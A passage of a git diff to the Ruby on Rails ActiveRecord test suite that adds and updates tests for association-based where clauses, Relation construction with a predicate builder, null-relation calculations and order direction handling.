+
     def test_belongs_to_shallow_where
       author = Author.new
       author.id = 1
@@ -31,6 +58,21 @@ module ActiveRecord
       assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
     end
 
+    def test_belongs_to_nil_where
+      assert_equal Post.where(author_id: nil).to_sql, Post.where(author: nil).to_sql
+    end
+
+    def test_belongs_to_array_value_where
+      assert_equal Post.where(author_id: [1,2]).to_sql, Post.where(author: [1,2]).to_sql
+    end
+
+    def test_belongs_to_nested_relation_where
+      expected = Post.where(author_id: Author.where(id: [1,2])).to_sql
+      actual   = Post.where(author:    Author.where(id: [1,2])).to_sql
+
+      assert_equal expected, actual
+    end
+
     def test_belongs_to_nested_where
       parent = Comment.new
       parent.id = 1
@@ -41,6 +83,15 @@ module ActiveRecord
       assert_equal expected.to_sql, actual.to_sql
     end
 
+    def test_belongs_to_nested_where_with_relation
+      author = authors(:david)
+
+      expected = Author.where(id: author ).joins(:posts)
+      actual   = Author.where(posts: { author_id: Author.where(id: author.id) }).joins(:posts)
+
+      assert_equal expected.to_a, actual.to_a
+    end
+
     def test_polymorphic_shallow_where
       treasure = Treasure.new
       treasure.id = 1
@@ -51,6 +102,25 @@ module ActiveRecord
       assert_equal expected.to_sql, actual.to_sql
     end
 
+    def test_polymorphic_nested_array_where
+      treasure = Treasure.new
+      treasure.id = 1
+      hidden = HiddenTreasure.new
+      hidden.id = 2
+
+      expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: [treasure, hidden])
+      actual   = PriceEstimate.where(estimate_of: [treasure, hidden])
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
+    def test_polymorphic_nested_relation_where
+      expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: Treasure.where(id: [1,2]))
+      actual   = PriceEstimate.where(estimate_of: Treasure.where(id: [1,2]))
+
+      assert_equal expected.to_sql, actual.to_sql
+    end
+
     def test_polymorphic_sti_shallow_where
       treasure = HiddenTreasure.new
       treasure.id = 1
@@ -141,5 +211,70 @@ module ActiveRecord
         assert_equal 4, Edge.where(blank).order("sink_id").to_a.size
       end
     end
+
+    def test_where_with_integer_for_string_column
+      count = Post.where(:title => 0).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_float_for_string_column
+      count = Post.where(:title => 0.0).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_boolean_for_string_column
+      count = Post.where(:title => false).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_decimal_for_string_column
+      count = Post.where(:title => BigDecimal.new(0)).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_duration_for_string_column
+      count = Post.where(:title => 0.seconds).count
+      assert_equal 0, count
+    end
+
+    def test_where_with_integer_for_binary_column
+      count = Binary.where(:data => 0).count
+      assert_equal 0, count
+    end
+
+    def test_where_on_association_with_custom_primary_key
+      author = authors(:david)
+      essay = Essay.where(writer: author).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_custom_primary_key_with_relation
+      author = authors(:david)
+      essay = Essay.where(writer: Author.where(id: author.id)).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_relation_performs_subselect_not_two_queries
+      author = authors(:david)
+
+      assert_queries(1) do
+        Essay.where(writer: Author.where(id: author.id)).to_a
+      end
+    end
+
+    def test_where_on_association_with_custom_primary_key_with_array_of_base
+      author = authors(:david)
+      essay = Essay.where(writer: [author]).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
+
+    def test_where_on_association_with_custom_primary_key_with_array_of_ids
+      essay = Essay.where(writer: ["David"]).first
+
+      assert_equal essays(:david_modest_proposal), essay
+    end
   end
 end
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index a695087426..c9c05b75a6 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -16,22 +16,26 @@ module ActiveRecord
       def self.connection
         Post.connection
       end
+
+      def self.table_name
+        'fake_table'
+      end
     end
 
     def test_construction
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert_equal FakeKlass, relation.klass
       assert_equal :b, relation.table
       assert !relation.loaded, 'relation is not loaded'
     end
 
     def test_responds_to_model_and_returns_klass
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert_equal FakeKlass, relation.model
     end
 
     def test_initialize_single_values
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |method|
         assert_nil relation.send("#{method}_value"), method.to_s
       end
@@ -39,19 +43,19 @@ module ActiveRecord
     end
 
     def test_multi_value_initialize
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       Relation::MULTI_VALUE_METHODS.each do |method|
         assert_equal [], relation.send("#{method}_values"), method.to_s
       end
     end
 
     def test_extensions
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert_equal [], relation.extensions
     end
 
     def test_empty_where_values_hash
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert_equal({}, relation.where_values_hash)
 
       relation.where! :hello
@@ -59,19 +63,20 @@ module ActiveRecord
     end
 
     def test_has_values
-      relation = Relation.new Post, Post.arel_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
       relation.where! relation.table[:id].eq(10)
       assert_equal({:id => 10}, relation.where_values_hash)
     end
 
     def test_values_wrong_table
-      relation = Relation.new Post, Post.arel_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
       relation.where! Comment.arel_table[:id].eq(10)
       assert_equal({}, relation.where_values_hash)
     end
 
     def test_tree_is_not_traversed
-      relation = Relation.new Post, Post.arel_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      # FIXME: Remove the Arel::Nodes::Quoted in Rails 5.1
       left     = relation.table[:id].eq(10)
       right    = relation.table[:id].eq(10)
       combine  = left.and right
@@ -80,24 +85,25 @@ module ActiveRecord
     end
 
     def test_table_name_delegates_to_klass
-      relation = Relation.new FakeKlass.new('posts'), :b
+      relation = Relation.new(FakeKlass.new('posts'), :b, Post.predicate_builder)
       assert_equal 'posts', relation.table_name
     end
 
     def test_scope_for_create
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert_equal({}, relation.scope_for_create)
     end
 
     def test_create_with_value
-      relation = Relation.new Post, Post.arel_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
       hash = { :hello => 'world' }
       relation.create_with_value = hash
       assert_equal hash, relation.scope_for_create
     end
 
     def test_create_with_value_with_wheres
-      relation = Relation.new Post, Post.arel_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
+      # FIXME: Remove the Arel::Nodes::Quoted in Rails 5.1
       relation.where! relation.table[:id].eq(10)
       relation.create_with_value = {:hello => 'world'}
       assert_equal({:hello => 'world', :id => 10}, relation.scope_for_create)
@@ -105,9 +111,10 @@ module ActiveRecord
 
     # FIXME: is this really wanted or expected behavior?
     def test_scope_for_create_is_cached
-      relation = Relation.new Post, Post.arel_table
+      relation = Relation.new(Post, Post.arel_table, Post.predicate_builder)
       assert_equal({}, relation.scope_for_create)
 
+      # FIXME: Remove the Arel::Nodes::Quoted in Rails 5.1
       relation.where! relation.table[:id].eq(10)
       assert_equal({}, relation.scope_for_create)
 
@@ -122,62 +129,72 @@ module ActiveRecord
     end
 
     def test_empty_eager_loading?
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert !relation.eager_loading?
     end
 
     def test_eager_load_values
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       relation.eager_load! :b
       assert relation.eager_loading?
     end
 
     def test_references_values
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       assert_equal [], relation.references_values
       relation = relation.references(:foo).references(:omg, :lol)
       assert_equal ['foo', 'omg', 'lol'], relation.references_values
     end
 
     def test_references_values_dont_duplicate
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       relation = relation.references(:foo).references(:foo)
       assert_equal ['foo'], relation.references_values
     end
 
     test 'merging a hash into a relation' do
-      relation = Relation.new FakeKlass, :b
+      relation = Relation.new(FakeKlass, :b, nil)
       relation = relation.merge where: :lol, readonly: true
 
-      assert_equal [:lol], relation.where_values
+      assert_equal Relation::WhereClause.new([:lol], []), relation.where_clause
       assert_equal true, relation.readonly_value
     end
 
     test 'merging an empty hash into a relation' do
-      assert_equal [], Relation.new(FakeKlass, :b).merge({}).where_values
+      assert_equal Relation::WhereClause.empty, Relation.new(FakeKlass, :b, nil).merge({}).where_clause
     end
 
     test 'merging a hash with unknown keys raises' do
       assert_raises(ArgumentError) { Relation::HashMerger.new(nil, omg: 'lol') }
     end
 
+    test 'merging nil or false raises' do
+      relation = Relation.new(FakeKlass, :b, nil)
+
+      e = assert_raises(ArgumentError) do
+        relation = relation.merge nil
+      end
+
+      assert_equal 'invalid argument: nil.', e.message
+
+      e = assert_raises(ArgumentError) do
+        relation = relation.merge false
+      end
+
+      assert_equal 'invalid argument: false.', e.message
+    end
+
     test '#values returns a dup of the values' do
-      relation = Relation.new(FakeKlass, :b).where! :foo
+      relation = Relation.new(FakeKlass, :b, nil).where! :foo
       values   = relation.values
 
       values[:where] = nil
-      assert_not_nil relation.where_values
+      assert_not_nil relation.where_clause
     end
 
     test 'relations can be created with a values hash' do
-      relation = Relation.new(FakeKlass, :b, where: [:foo])
-      assert_equal [:foo], relation.where_values
-    end
-
-    test 'merging a single where value' do
-      relation = Relation.new(FakeKlass, :b)
-      relation.merge!(where: :foo)
-      assert_equal [:foo], relation.where_values
+      relation = Relation.new(FakeKlass, :b, nil, select: [:foo])
+      assert_equal [:foo], relation.select_values
     end
 
     test 'merging a hash interpolates conditions' do
@@ -188,9 +205,17 @@ module ActiveRecord
         end
       end
 
-      relation = Relation.new(klass, :b)
+      relation = Relation.new(klass, :b, nil)
       relation.merge!(where: ['foo = ?', 'bar'])
-      assert_equal ['foo = bar'], relation.where_values
+      assert_equal Relation::WhereClause.new(['foo = bar'], []), relation.where_clause
+    end
+
+    def test_merging_readonly_false
+      relation = Relation.new(FakeKlass, :b, nil)
+      readonly_false_relation = relation.readonly(false)
+      # test merging in both directions
+      assert_equal false, relation.merge(readonly_false_relation).readonly_value
+      assert_equal false, readonly_false_relation.merge(relation).readonly_value
     end
 
     def test_relation_merging_with_merged_joins_as_symbols
@@ -199,6 +224,16 @@ module ActiveRecord
       assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
     end
 
+    def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
+      post = Post.create!(title: "haha", body: "huhu")
+      comment = post.comments.create!(body: "hu")
+      3.times { comment.ratings.create! }
+
+      relation = Post.joins(:comments).merge Comment.joins(:ratings)
+
+      assert_equal 3, relation.where(id: post.id).pluck(:id).size
+    end
+
     def test_respond_to_for_non_selected_element
       post = Post.select(:title).first
       assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
@@ -214,140 +249,32 @@ module ActiveRecord
       assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
     end
 
-  end
-
-  class RelationMutationTest < ActiveSupport::TestCase
-    class FakeKlass < Struct.new(:table_name, :name)
-      extend ActiveRecord::Delegation::DelegateCache
-      inherited self
-
-      def arel_table
-        Post.arel_table
+    class EnsureRoundTripTypeCasting < ActiveRecord::Type::Value
+      def type
+        :string
       end
 
-      def connection
-        Post.connection
-      end
-
-      def relation_delegate_class(klass)
-        self.class.relation_delegate_class(klass)
-      end
-    end
-
-    def relation
-      @relation ||= Relation.new FakeKlass.new('posts'), :b
-    end
-
-    (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order]).each do |method|
-      test "##{method}!" do
-        assert relation.public_send("#{method}!", :foo).equal?(relation)
-        assert_equal [:foo], relation.public_send("#{method}_values")
+      def type_cast_from_database(value)
+        raise value unless value == "type cast for database"
+        "type cast from database"
       end
-    end
-
-    test "#order!" do
-      assert relation.order!('name ASC').equal?(relation)
-      assert_equal ['name ASC'], relation.order_values
-    end
-
-    test "#order! with symbol prepends the table name" do
-      assert relation.order!(:name).equal?(relation)
-      node = relation.order_values.first
-      assert node.ascending?
-      assert_equal :name, node.expr.name
-      assert_equal "posts", node.expr.relation.name
-    end
-
-    test "#order! on non-string does not attempt regexp match for references" do
-      obj = Object.new
-      obj.expects(:=~).never
-      assert relation.order!(obj)
-      assert_equal [obj], relation.order_values
-    end
-
-    test '#references!' do
-      assert relation.references!(:foo).equal?(relation)
-      assert relation.references_values.include?('foo')
-    end
-
-    test 'extending!' do
-      mod, mod2 = Module.new, Module.new
-
-      assert relation.extending!(mod).equal?(relation)
-      assert_equal [mod], relation.extending_values
-      assert relation.is_a?(mod)
-
-      relation.extending!(mod2)
-      assert_equal [mod, mod2], relation.extending_values
-    end
-
-    test 'extending! with empty args' do
-      relation.extending!
-      assert_equal [], relation.extending_values
-    end
 
-    (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
-      test "##{method}!" do
-        assert relation.public_send("#{method}!", :foo).equal?(relation)
-        assert_equal :foo, relation.public_send("#{method}_value")
+      def type_cast_for_database(value)
+        raise value unless value == "value from user"
+        "type cast for database"
       end
     end
 
-    test '#from!' do
-      assert relation.from!('foo').equal?(relation)
-      assert_equal ['foo', nil], relation.from_value
-    end
-
-    test '#lock!' do
-      assert relation.lock!('foo').equal?(relation)
-      assert_equal 'foo', relation.lock_value
-    end
-
-    test '#reorder!' do
-      relation = self.relation.order('foo')
-
-      assert relation.reorder!('bar').equal?(relation)
-      assert_equal ['bar'], relation.order_values
-      assert relation.reordering_value
-    end
-
-    test 'reverse_order!' do
-      assert relation.reverse_order!.equal?(relation)
-      assert relation.reverse_order_value
-      relation.reverse_order!
-      assert !relation.reverse_order_value
-    end
+    class UpdateAllTestModel < ActiveRecord::Base
+      self.table_name = 'posts'
 
-    test 'create_with!' do
-      assert relation.create_with!(foo: 'bar').equal?(relation)
-      assert_equal({foo: 'bar'}, relation.create_with_value)
+      attribute :body, EnsureRoundTripTypeCasting.new
     end
 
-    def test_merge!
-      assert relation.merge!(where: :foo).equal?(relation)
-      assert_equal [:foo], relation.where_values
-    end
-
-    test 'merge with a proc' do
-      assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
-    end
-
-    test 'none!' do
-      assert relation.none!.equal?(relation)
-      assert_equal [NullRelation], relation.extending_values
-      assert relation.is_a?(NullRelation)
-    end
-
-    test "distinct!" do
-      relation.distinct! :foo
-      assert_equal :foo, relation.distinct_value
-      assert_equal :foo, relation.uniq_value # deprecated access
-    end
+    def test_update_all_goes_through_normal_type_casting
+      UpdateAllTestModel.update_all(body: "value from user", type: nil) # No STI
 
-    test "uniq! was replaced by distinct!" do
-      relation.uniq! :foo
-      assert_equal :foo, relation.distinct_value
-      assert_equal :foo, relation.uniq_value # deprecated access
+      assert_equal "type cast from database", UpdateAllTestModel.first.body
     end
   end
 end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index e1a760d240..5c5ab499a0 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -7,6 +7,7 @@ require 'models/comment'
 require 'models/author'
 require 'models/entrant'
 require 'models/developer'
+require 'models/computer'
 require 'models/reply'
 require 'models/company'
 require 'models/bird'
@@ -14,12 +15,19 @@ require 'models/car'
 require 'models/engine'
 require 'models/tyre'
 require 'models/minivan'
+require 'models/aircraft'
+require "models/possession"
 
 
 class RelationTest < ActiveRecord::TestCase
   fixtures :authors, :topics, :entrants, :developers, :companies, :developers_projects, :accounts, :categories, :categorizations, :posts, :comments,
     :tags, :taggings, :cars, :minivans
 
+  class TopicWithCallbacks < ActiveRecord::Base
+    self.table_name = :topics
+    before_update { |topic| topic.author_name = 'David' if topic.author_name.blank? }
+  end
+
   def test_do_not_double_quote_string_id
     van = Minivan.last
     assert van
@@ -32,16 +40,12 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal van, Minivan.where(:minivan_id => [van]).to_a.first
   end
 
-  def test_bind_values
-    relation = Post.all
-    assert_equal [], relation.bind_values
-
-    relation2 = relation.bind 'foo'
-    assert_equal %w{ foo }, relation2.bind_values
-    assert_equal [], relation.bind_values
-  end
-
   def test_two_scopes_with_includes_should_not_drop_any_include
+    # heat habtm cache
+    car = Car.incl_engines.incl_tyres.first
+    car.tyres.length
+    car.engines.length
+
     car = Car.incl_engines.incl_tyres.first
     assert_no_queries { car.tyres.length }
     assert_no_queries { car.engines.length }
@@ -60,7 +64,7 @@ class RelationTest < ActiveRecord::TestCase
   def test_scoped
     topics = Topic.all
     assert_kind_of ActiveRecord::Relation, topics
-    assert_equal 4, topics.size
+    assert_equal 5, topics.size
   end
 
   def test_to_json
@@ -81,14 +85,14 @@ class RelationTest < ActiveRecord::TestCase
   def test_scoped_all
     topics = Topic.all.to_a
     assert_kind_of Array, topics
-    assert_no_queries { assert_equal 4, topics.size }
+    assert_no_queries { assert_equal 5, topics.size }
   end
 
   def test_loaded_all
     topics = Topic.all
 
     assert_queries(1) do
-      2.times { assert_equal 4, topics.to_a.size }
+      2.times { assert_equal 5, topics.to_a.size }
     end
 
     assert topics.loaded?
@@ -139,6 +143,21 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal relation.to_a, Topic.select('a.*').from(relation, :a).to_a
   end
 
+  def test_finding_with_subquery_with_binds
+    relation = Post.first.comments
+    assert_equal relation.to_a, Comment.select('*').from(relation).to_a
+    assert_equal relation.to_a, Comment.select('subquery.*').from(relation).to_a
+    assert_equal relation.to_a, Comment.select('a.*').from(relation, :a).to_a
+  end
+
+  def test_finding_with_subquery_without_select_does_not_change_the_select
+    relation = Topic.where(approved: true)
+    assert_raises(ActiveRecord::StatementInvalid) do
+      Topic.from(relation).to_a
+    end
+  end
+
+
   def test_finding_with_conditions
     assert_equal ["David"], Author.where(:name => 'David').map(&:name)
     assert_equal ['Mary'],  Author.where(["name = ?", 'Mary']).map(&:name)
@@ -147,52 +166,100 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_finding_with_order
     topics = Topic.order('id')
-    assert_equal 4, topics.to_a.size
+    assert_equal 5, topics.to_a.size
     assert_equal topics(:first).title, topics.first.title
   end
 
-
   def test_finding_with_arel_order
     topics = Topic.order(Topic.arel_table[:id].asc)
-    assert_equal 4, topics.to_a.size
+    assert_equal 5, topics.to_a.size
     assert_equal topics(:first).title, topics.first.title
   end
 
   def test_finding_with_assoc_order
     topics = Topic.order(:id => :desc)
-    assert_equal 4, topics.to_a.size
-    assert_equal topics(:fourth).title, topics.first.title
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
   end
 
   def test_finding_with_reverted_assoc_order
     topics = Topic.order(:id => :asc).reverse_order
-    assert_equal 4, topics.to_a.size
-    assert_equal topics(:fourth).title, topics.first.title
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
   end
 
   def test_order_with_hash_and_symbol_generates_the_same_sql
     assert_equal Topic.order(:id).to_sql, Topic.order(:id => :asc).to_sql
   end
 
+  def test_finding_with_desc_order_with_string
+    topics = Topic.order(id: "desc")
+    assert_equal 5, topics.to_a.size
+    assert_equal [topics(:fifth), topics(:fourth), topics(:third), topics(:second), topics(:first)], topics.to_a
+  end
+
+  def test_finding_with_asc_order_with_string
+    topics = Topic.order(id: 'asc')
+    assert_equal 5, topics.to_a.size
+    assert_equal [topics(:first), topics(:second), topics(:third), topics(:fourth), topics(:fifth)], topics.to_a
+  end
+
+  def test_support_upper_and_lower_case_directions
+    assert_includes Topic.order(id: "ASC").to_sql, "ASC"
+    assert_includes Topic.order(id: "asc").to_sql, "ASC"
+    assert_includes Topic.order(id: :ASC).to_sql, "ASC"
+    assert_includes Topic.order(id: :asc).to_sql, "ASC"
+
+    assert_includes Topic.order(id: "DESC").to_sql, "DESC"
+    assert_includes Topic.order(id: "desc").to_sql, "DESC"
+    assert_includes Topic.order(id: :DESC).to_sql, "DESC"
+    assert_includes Topic.order(id: :desc).to_sql,"DESC"
+  end
+
   def test_raising_exception_on_invalid_hash_params
-    assert_raise(ArgumentError) { Topic.order(:name, "id DESC", :id => :DeSc) }
+    e = assert_raise(ArgumentError) { Topic.order(:name, "id DESC", id: :asfsdf) }
+    assert_equal 'Direction "asfsdf" is invalid. Valid directions are: [:asc, :desc, :ASC, :DESC, "asc", "desc", "ASC", "DESC"]', e.message
   end
 
   def test_finding_last_with_arel_order
     topics = Topic.order(Topic.arel_table[:id].asc)
-    assert_equal topics(:fourth).title, topics.last.title
+    assert_equal topics(:fifth).title, topics.last.title
   end
 
   def test_finding_with_order_concatenated
     topics = Topic.order('author_name').order('title')
-    assert_equal 4, topics.to_a.size
+    assert_equal 5, topics.to_a.size
     assert_equal topics(:fourth).title, topics.first.title
   end
 
+  def test_finding_with_order_by_aliased_attributes
+    topics = Topic.order(:heading)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_order_by_aliased_attributes
+    topics = Topic.order(heading: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:third).title, topics.first.title
+  end
+
   def test_finding_with_reorder
     topics = Topic.order('author_name').order('title').reorder('id').to_a
-    topics_titles = topics.map{ |t| t.title }
-    assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day'], topics_titles
+    topics_titles = topics.map(&:title)
+    assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day', 'The Fifth Topic of the day'], topics_titles
+  end
+
+  def test_finding_with_reorder_by_aliased_attributes
+    topics = Topic.order('author_name').reorder(:heading)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_reorder_by_aliased_attributes
+    topics = Topic.order('author_name').reorder(heading: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:third).title, topics.first.title
   end
 
   def test_finding_with_order_and_take
@@ -242,27 +309,27 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_none
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal [], Developer.none
       assert_equal [], Developer.all.none
     end
   end
 
   def test_none_chainable
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal [], Developer.none.where(:name => 'David')
     end
   end
 
   def test_none_chainable_to_existing_scope_extension_method
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal 1, Topic.anonymous_extension.none.one
     end
   end
 
   def test_none_chained_to_methods_firing_queries_straight_to_db
-    assert_no_queries do
-      assert_equal [],    Developer.none.pluck(:id) # => uses select_all
+    assert_no_queries(ignore_none: false) do
+      assert_equal [],    Developer.none.pluck(:id, :name)
       assert_equal 0,     Developer.none.delete_all
       assert_equal 0,     Developer.none.update_all(:name => 'David')
       assert_equal 0,     Developer.none.delete(1)
@@ -271,7 +338,7 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_null_relation_content_size_methods
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal 0,     Developer.none.size
       assert_equal 0,     Developer.none.count
       assert_equal true,  Developer.none.empty?
@@ -281,9 +348,9 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_null_relation_calculations_methods
-    assert_no_queries do
+    assert_no_queries(ignore_none: false) do
       assert_equal 0, Developer.none.count
-      assert_equal 0, Developer.none.calculate(:count, nil, {})
+      assert_equal 0, Developer.none.calculate(:count, nil)
       assert_equal nil, Developer.none.calculate(:average, 'salary')
     end
   end
@@ -293,6 +360,69 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal({}, Developer.none.where_values_hash)
   end
 
+  def test_null_relation_where_values_hash
+    assert_equal({ 'salary' => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
+  end
+
+  def test_null_relation_sum
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:id).sum(:id)
+    assert_equal        0, ac.engines.count
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:id).sum(:id)
+    assert_equal        0, ac.engines.count
+  end
+
+  def test_null_relation_count
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:id).count
+    assert_equal        0, ac.engines.count
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:id).count
+    assert_equal        0, ac.engines.count
+  end
+
+  def test_null_relation_size
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:id).size
+    assert_equal        0, ac.engines.size
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:id).size
+    assert_equal        0, ac.engines.size
+  end
+
+  def test_null_relation_average
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
+    assert_equal        nil, ac.engines.average(:id)
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
+    assert_equal        nil, ac.engines.average(:id)
+  end
+
+  def test_null_relation_minimum
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
+    assert_equal        nil, ac.engines.minimum(:id)
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
+    assert_equal        nil, ac.engines.minimum(:id)
+  end
+
+  def test_null_relation_maximum
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
+    assert_equal        nil, ac.engines.maximum(:id)
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
+    assert_equal        nil, ac.engines.maximum(:id)
+  end
+
+  def test_null_relation_in_where_condition
+    assert_operator Comment.count, :>, 0 # precondition, make sure there are comments.
+    assert_equal 0, Comment.where(post_id: Post.none).to_a.size
+  end
+
   def test_joins_with_nil_argument
     assert_nothing_raised { DependentFirm.joins(nil).first }
   end
@@ -308,7 +438,7 @@ class RelationTest < ActiveRecord::TestCase
       where('project_id=1').to_a
 
     assert_equal 3, developers_on_project_one.length
-    developer_names = developers_on_project_one.map { |d| d.name }
+    developer_names = developers_on_project_one.map(&:name)
     assert developer_names.include?('David')
     assert developer_names.include?('Jamis')
   end
@@ -470,6 +600,14 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal Developer.where(name: 'David').map(&:id).sort, developers
   end
 
+  def test_includes_with_select
+    query = Post.select('comments_count AS ranking').order('ranking').includes(:comments)
+      .where(comments: { id: 1 })
+
+    assert_equal ['comments_count AS ranking'], query.select_values
+    assert_equal 1, query.to_a.size
+  end
+
   def test_loading_with_one_association
     posts = Post.preload(:comments)
     post = posts.find { |p| p.id == 1 }
@@ -493,6 +631,12 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal expected, actual
   end
 
+  def test_to_sql_on_scoped_proxy
+    auth = Author.first
+    Post.where("1=1").written_by(auth)
+    assert_not auth.posts.to_sql.include?("1=1")
+  end
+
   def test_loading_with_one_association_with_non_preload
     posts = Post.eager_load(:last_comment).order('comments.id DESC')
     post = posts.find { |p| p.id == 1 }
@@ -505,8 +649,8 @@ class RelationTest < ActiveRecord::TestCase
     expected_taggings = taggings(:welcome_general, :thinking_general)
 
     assert_no_queries do
-      assert_equal expected_taggings, author.taggings.distinct.sort_by { |t| t.id }
-      assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
+      assert_equal expected_taggings, author.taggings.distinct.sort_by(&:id)
+      assert_equal expected_taggings, author.taggings.uniq.sort_by(&:id)
     end
 
     authors = Author.all
@@ -557,7 +701,7 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_find_with_list_of_ar
     author = Author.first
-    authors = Author.find([author])
+    authors = Author.find([author.id])
     assert_equal author, authors.first
   end
 
@@ -565,7 +709,9 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_find_by_classname
     Author.create!(:name => Mary.name)
-    assert_equal 1, Author.where(:name => Mary).size
+    assert_deprecated do
+      assert_equal 1, Author.where(:name => Mary).size
+    end
   end
 
   def test_find_by_id_with_list_of_ar
@@ -602,6 +748,13 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal [], relation.to_a
   end
 
+  def test_typecasting_where_with_array
+    ids = Author.pluck(:id)
+    slugs = ids.map { |id| "#{id}-as-a-slug" }
+
+    assert_equal Author.all.to_a, Author.where(id: slugs).to_a
+  end
+
   def test_find_all_using_where_with_relation
     david = authors(:david)
     # switching the lines below would succeed in current rails
@@ -610,6 +763,36 @@ class RelationTest < ActiveRecord::TestCase
       relation = Author.where(:id => Author.where(:id => david.id))
       assert_equal [david], relation.to_a
     }
+
+    assert_queries(1) {
+      relation = Author.where('id in (?)', Author.where(id: david).select(:id))
+      assert_equal [david], relation.to_a
+    }
+
+    assert_queries(1) do
+      relation = Author.where('id in (:author_ids)', author_ids: Author.where(id: david).select(:id))
+      assert_equal [david], relation.to_a
+    end
+  end
+
+  def test_find_all_using_where_with_relation_with_bound_values
+    david = authors(:david)
+    davids_posts = david.posts.order(:id).to_a
+
+    assert_queries(1) do
+      relation = Post.where(id: david.posts.select(:id))
+      assert_equal davids_posts, relation.order(:id).to_a
+    end
+
+    assert_queries(1) do
+      relation = Post.where('id in (?)', david.posts.select(:id))
+      assert_equal davids_posts, relation.order(:id).to_a, 'should process Relation as bind variables'
+    end
+
+    assert_queries(1) do
